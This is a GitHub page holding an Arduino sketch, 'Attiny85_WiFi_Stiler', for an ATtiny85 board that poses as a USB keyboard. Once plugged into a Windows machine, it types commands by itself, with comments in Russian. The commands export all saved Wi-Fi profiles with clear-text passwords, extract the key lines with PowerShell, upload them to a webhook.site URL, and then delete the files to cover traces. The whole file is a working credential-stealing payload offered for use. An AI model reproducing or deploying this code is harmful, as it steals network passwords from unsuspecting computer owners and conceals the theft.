-
Notifications
You must be signed in to change notification settings - Fork 1
/
Attiny85_WiFi_Stiler.ino
33 lines (30 loc) · 1.33 KB
/
Attiny85_WiFi_Stiler.ino
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//Attiny85_WiFi_Stiler_byDarkLon3r
#include "DigiKeyboard.h"
void setup() {
pinMode(1, OUTPUT);
}
void loop() {
DigiKeyboard.update();
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(3000);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); //Запуск "Выполнить"
DigiKeyboard.delay(100);
DigiKeyboard.println("cmd /k mode con: cols=15 lines=1");
DigiKeyboard.delay(500);
DigiKeyboard.println("cd %appdata%");
DigiKeyboard.delay(300);
DigiKeyboard.println("netsh wlan export profile key=clear"); //получить все профили вай фай
DigiKeyboard.delay(500);
DigiKeyboard.println("powershell Select-String -Path *.xml -Pattern 'keyMaterial' > wifi_pass"); //выделить все файл xml и экспортировать в wifi_pass
DigiKeyboard.delay(500);
DigiKeyboard.println("powershell Invoke-WebRequest -Uri https://webhook.site/<Your unique URL> -Method POST -InFile wifi_pass"); //Отправка на веб хук паролей вай фай
DigiKeyboard.delay(1000);
DigiKeyboard.println("del wifi_* /s /f /q");
DigiKeyboard.delay(500);
DigiKeyboard.println("exit");
DigiKeyboard.delay(100);
digitalWrite(1, HIGH); //Вклюить led
DigiKeyboard.delay(90000);
digitalWrite(1, LOW);
DigiKeyboard.delay(5000);
}